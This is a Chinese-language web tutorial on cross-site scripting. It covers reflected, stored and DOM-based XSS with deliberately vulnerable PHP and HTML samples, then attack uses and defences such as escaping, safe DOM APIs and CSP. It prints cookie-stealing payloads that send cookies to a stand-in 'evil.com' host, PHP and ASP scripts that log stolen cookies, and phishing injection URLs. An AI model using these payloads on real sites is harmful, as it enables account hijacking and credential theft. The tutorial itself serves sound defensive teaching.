赞
踩
跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在 WEB 应用程序中的计算机安全漏洞,是由于 WEB 应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取 Cookies 资料窃取、会话劫持、钓鱼欺骗等各种攻击。
XSS 的本质是:恶意代码未经过滤,与网站正常的代码混在一起;浏览器无法分辨哪些脚本是可信的,导致恶意脚本被执行。而由于直接在用户的终端执行,恶意代码能够直接获取用户的信息,或者利用这些信息冒充用户向网站发起攻击者定义的请求。在部分情况下,由于输入的限制,注入的恶意脚本比较短。但可以通过引入外部的脚本,并由浏览器执行,来完成比较复杂的攻击策略。
这里有一个问题:用户是通过哪种方法“注入”恶意脚本的呢?
不仅仅是业务上的“用户的 UGC 内容”可以进行注入,包括 URL 上的参数等都可以是攻击的来源。在处理输入时,以下内容都不可信:
来自用户的 UGC 信息
来自第三方的链接
URL 参数
POST 参数
Referer (可能来自不可信的来源)
Cookie (可能来自其他子域注入)
根据攻击的来源,XSS 攻击可分为存储型(持久型)、反射型和 DOM 型三种。
1、反射型XSS
反射型跨站脚本(Reflected Cross-Site Scripting)是最常见,也是使用最广的一种,可将恶意脚本附加到 URL 地址的参数中。
反射型 XSS 的利用一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。
服务器端代码:
- <?php
- // Is there any input?
- if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
- // Feedback for end user
- echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
- }
- ?>
可以看到,代码直接引用了 name
参数,并没有做任何的过滤和检查,存在明显的 XSS 漏洞。
2、持久型XSS
持久型跨站脚本(Persistent Cross-Site Scripting)也等同于存储型跨站脚本(Stored Cross-Site Scripting)。
此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。
服务器端代码:
- <?php
- if( isset( $_POST[ 'btnSign' ] ) ) {
- // Get input
- $message = trim( $_POST[ 'mtxMessage' ] );
- $name = trim( $_POST[ 'txtName' ] );
- // Sanitize message input
- $message = stripslashes( $message );
- $message = mysql_real_escape_string( $message );
- // Sanitize name input
- $name = mysql_real_escape_string( $name );
- // Update database
- $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
- $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
- //mysql_close(); }
- ?>
代码只对一些空白符、特殊符号、反斜杠进行了删除或转义,没有做 XSS 的过滤和检查,且存储在数据库中,明显存在存储型 XSS 漏洞。
3、DOM型XSS
传统的 XSS 漏洞一般出现在服务器端代码中,而 DOM-Based XSS 是基于 DOM 文档对象模型的一种漏洞,所以,受客户端浏览器的脚本代码所影响。客户端 JavaScript 可以访问浏览器的 DOM 文本对象模型,因此能够决定用于加载当前页面的 URL。换句话说,客户端的脚本程序可以通过 DOM 动态地检查和修改页面内容,它不依赖于服务器端的数据,而从客户端获得 DOM 中的数据(如从 URL 中提取数据)并在本地执行。另一方面,浏览器用户可以操纵 DOM 中的一些对象,例如 URL、location 等。用户在客户端输入的数据如果包含了恶意 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到基于 DOM 的 XSS 攻击。
HTML 代码:
- <html>
- <head>
- <title>DOM-XSS test</title>
- </head>
- <body>
- <script>
- var a=document.URL;
- document.write(a.substring(a.indexOf("a=")+2,a.length));
- </script>
- </body>
- </html>
将代码保存在 domXSS.html 中,浏览器访问:
http://127.0.0.1/domXSS.html?a=<script>alert('XSS')</script>
即可触发 XSS 漏洞。
1、Cookies 窃取
攻击者可以使用以下代码获取客户端的 Cookies 信息:
- <script>
- document.location="http://www.evil.com/cookie.asp?cookie="+document.cookie
- new Image().src="http://www.evil.com/cookie.asp?cookie="+document.cookie
- </script>
- <img src="http://www.evil.com/cookie.asp?cookie="+document.cookie></img>
在远程服务器上,有一个接受和记录 Cookies 信息的文件,示例如下:
- <%
- msg=Request.ServerVariables("QUERY_STRING")
- testfile=Server.MapPath("cookie.txt")
- set fs=server.CreateObject("Scripting.filesystemobject")
- set thisfile=fs.OpenTextFile(testfile,8,True,0)
- thisfile.Writeline(""&msg& "")
- thisfile.close
- set fs=nothing
- %>
- <?php
- $cookie = $_GET['cookie'];
- $log = fopen("cookie.txt", "a");
- fwrite($log, $cookie . "\n");
- fclose($log);
- ?>
攻击者在获取到 Cookies 之后,通过修改本机浏览器的 Cookies,即可登录受害者的账户。
2、会话劫持
由于使用 Cookies 存在一定的安全缺陷,因此,开发者开始使用一些更为安全的认证方式,如 Session。在 Session 机制中,客户端和服务端通过标识符来识别用户身份和维持会话,但这个标识符也有被其他人利用的可能。会话劫持的本质是在攻击中带上了 Cookies 并发送到了服务端。
如某 CMS 的留言系统存在一个存储型 XSS 漏洞,攻击者把 XSS 代码写进留言信息中,当管理员登录后台并查看是,便会触发 XSS 漏洞,由于 XSS 是在后台触发的,所以攻击的对象是管理员,通过注入 JavaScript 代码,攻击者便可以劫持管理员会话执行某些操作,从而达到提升权限的目的。
比如,攻击者想利用 XSS 添加一个管理员账号,只需要通过之前的代码审计或其他方式,截取到添加管理员账号时的 HTTP 请求信息,然后使用 XMLHTTP 对象在后台发送一个 HTTP 请求即可,由于请求带上了被攻击者的 Cookies,并一同发送到服务端,即可实现添加一个管理员账户的操作。
3、钓鱼
重定向钓鱼
把当前页面重定向到一个钓鱼页面。
http://www.bug.com/index.php?search="'><script>document.location.href="http://www.evil.com"</script>
HTML 注入式钓鱼
使用 XSS 漏洞注入 HTML 或 JavaScript 代码到页面中。
http://www.bug.com/index.php?search="'<html><head><title>login</title></head><body><div style="text-align:center;"><form Method="POST" Action="phishing.php" Name="form"><br /><br />Login:<br/><input name="login" /><br />Password:<br/><input name="Password" type="password" /><br/><br/><input name="Valid" value="Ok" type="submit" /><br/></form></div></body></html>
该段代码会在正常页面中嵌入一个 Form 表单。
iframe 钓鱼
这种方式是通过 <iframe>
标签嵌入远程域的一个页面实施钓鱼。
http://www.bug.com/index.php?search='><iframe src="http://www.evil.com" height="100%" width="100%"</iframe>
Flash 钓鱼
将构造好的 Flash 文件传入服务器,在目标网站用 <object>
或 <embed>
标签引用即可。
高级钓鱼技术
注入代码劫持 HTML 表单、使用 JavaScript 编写键盘记录器等。
4、网页挂马
一般都是通过篡改网页的方式来实现的,如在 XSS 中使用 <iframe>
标签。
5、DOS与DDOS
注入恶意 JavaScript 代码,可能会引起一些拒绝服务攻击。
6、XSS蠕虫
通过精心构造的 XSS 代码,可以实现非法转账、篡改信息、删除文章、自我复制等诸多功能。
通过前面的介绍可以得知,XSS 攻击有两大要素:
针对第一个要素:我们是否能够在用户输入的过程,过滤掉用户输入的恶意代码呢?
1、输入过滤
在用户提交时,由前端过滤输入,然后提交到后端。这样做是否可行呢?
答案是不可行。一旦攻击者绕过前端过滤,直接构造请求,就可以提交恶意代码了。
那么,换一个过滤时机:后端在写入数据库前,对输入进行过滤,然后把“安全的”内容,返回给前端。这样是否可行呢?
我们举一个例子,一个正常的用户输入了 5 < 7
这个内容,在写入数据库前,被转义,变成了 5 < 7
。
问题是:在提交阶段,我们并不确定内容要输出到哪里。
这里的“并不确定内容要输出到哪里”有两层含义:
escapeHTML()
,客户端显示的内容就变成了乱码( 5 < 7
)。在前端中,不同的位置所需的编码也不同。
5 < 7
作为 HTML 拼接页面时,可以正常显示:<div title="comment">5 < 7</div>
5 < 7
通过 Ajax 返回,然后赋值给 JavaScript 的变量时,前端得到的字符串就是转义后的字符。这个内容不能直接用于 Vue 等模板的展示,也不能直接用于内容长度计算。不能用于标题、alert 等。所以,输入侧过滤能够在某些情况下解决特定的 XSS 问题,但会引入很大的不确定性和乱码问题。在防范 XSS 攻击时应避免此类方法。
当然,对于明确的输入类型,例如数字、URL、电话号码、邮件地址等等内容,进行输入过滤还是必要的。
既然输入过滤并非完全可靠,我们就要通过“防止浏览器执行恶意代码”来防范 XSS。这部分分为两类:
2、预防存储型和反射型XSS
存储型和反射型 XSS 都是在服务端取出恶意代码后,插入到响应 HTML 里的,攻击者刻意编写的“数据”被内嵌到“代码”中,被浏览器所执行。
预防这两种漏洞,有两种常见做法:
(1) 纯前端渲染
纯前端渲染的过程:
浏览器先加载一个静态 HTML,此 HTML 中不包含任何跟业务相关的数据。
然后浏览器执行 HTML 中的 JavaScript。
JavaScript 通过 Ajax 加载业务数据,调用 DOM API 更新到页面上。
在纯前端渲染中,我们会明确的告诉浏览器:下面要设置的内容是文本(.innerText
),还是属性(.setAttribute
),还是样式(.style
)等等。浏览器不会被轻易的被欺骗,执行预期外的代码了。
但纯前端渲染还需注意避免 DOM 型 XSS 漏洞(例如 onload
事件和 href
中的 javascript:xxx
等,请参考下文”预防 DOM 型 XSS 攻击“部分)。
在很多内部、管理系统中,采用纯前端渲染是非常合适的。但对于性能要求高,或有 SEO 需求的页面,我们仍然要面对拼接 HTML 的问题。
(2)转义 HTML
如果拼接 HTML 是必要的,就需要采用合适的转义库,对 HTML 模板各处插入点进行充分的转义。
常用的模板引擎,如 doT.js、ejs、FreeMarker 等,对于 HTML 转义通常只有一个规则,就是把 & < > " ' /
这几个字符转义掉,确实能起到一定的 XSS 防护作用,但并不完善:
|XSS 安全漏洞|简单转义是否有防护作用| |-|-| |HTML 标签文字内容|有| |HTML 属性值|有| |CSS 内联样式|无| |内联 JavaScript|无| |内联 JSON|无| |跳转链接|无|
所以要完善 XSS 防护措施,我们要使用更完善更细致的转义策略。
3、预防DOM型XSS攻击
DOM 型 XSS 攻击,实际上就是网站前端 JavaScript 代码本身不够严谨,把不可信的数据当作代码执行了。
在使用 .innerHTML
、.outerHTML
、document.write()
时要特别小心,不要把不可信的数据作为 HTML 插到页面上,而应尽量使用 .textContent
、.setAttribute()
等。
如果用 Vue/React 技术栈,并且不使用 v-html
/dangerouslySetInnerHTML
功能,就在前端 render 阶段避免 innerHTML
、outerHTML
的 XSS 隐患。
DOM 中的内联事件监听器,如 location
、onclick
、onerror
、onload
、onmouseover
等,<a>
标签的 href
属性,JavaScript 的 eval()
、setTimeout()
、setInterval()
等,都能把字符串作为代码运行。如果不可信的数据拼接到字符串中传递给这些 API,很容易产生安全隐患,请务必避免。
- <!-- 内联事件监听器中包含恶意代码 -->
- ![](https://awps-assets.meituan.net/mit-x/blog-images-bundle-2018b/3e724ce0.data:image/png,)
-
- <!-- 链接内包含恶意代码 -->
- <a href="UNTRUSTED">1</a>
-
- <script>
- // setTimeout()/setInterval() 中调用恶意代码
- setTimeout("UNTRUSTED")
- setInterval("UNTRUSTED")
-
- // location 调用恶意代码
- location.href = 'UNTRUSTED'
-
- // eval() 中调用恶意代码
- eval("UNTRUSTED")
- </script>
如果项目中有用到这些的话,一定要避免在字符串中拼接不可信数据。
虽然在渲染页面和执行 JavaScript 时,通过谨慎的转义可以防止 XSS 的发生,但完全依靠开发的谨慎仍然是不够的。以下介绍一些通用的方案,可以降低 XSS 带来的风险和后果。
Content Security Policy
严格的 CSP 在 XSS 的防范中可以起到以下的作用:
关于 CSP 的详情,请关注前端安全系列后续的文章。
输入内容长度控制
对于不受信任的输入,都应该限定一个合理的长度。虽然无法完全防止 XSS 发生,但可以增加 XSS 攻击的难度。(此条酌情而用)
其他安全措施
本文参考文章:https://ctf-wiki.github.io/ctf-wiki/web/xss/#xss_1
https://tech.meituan.com/2018/09/27/fe-security.html
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。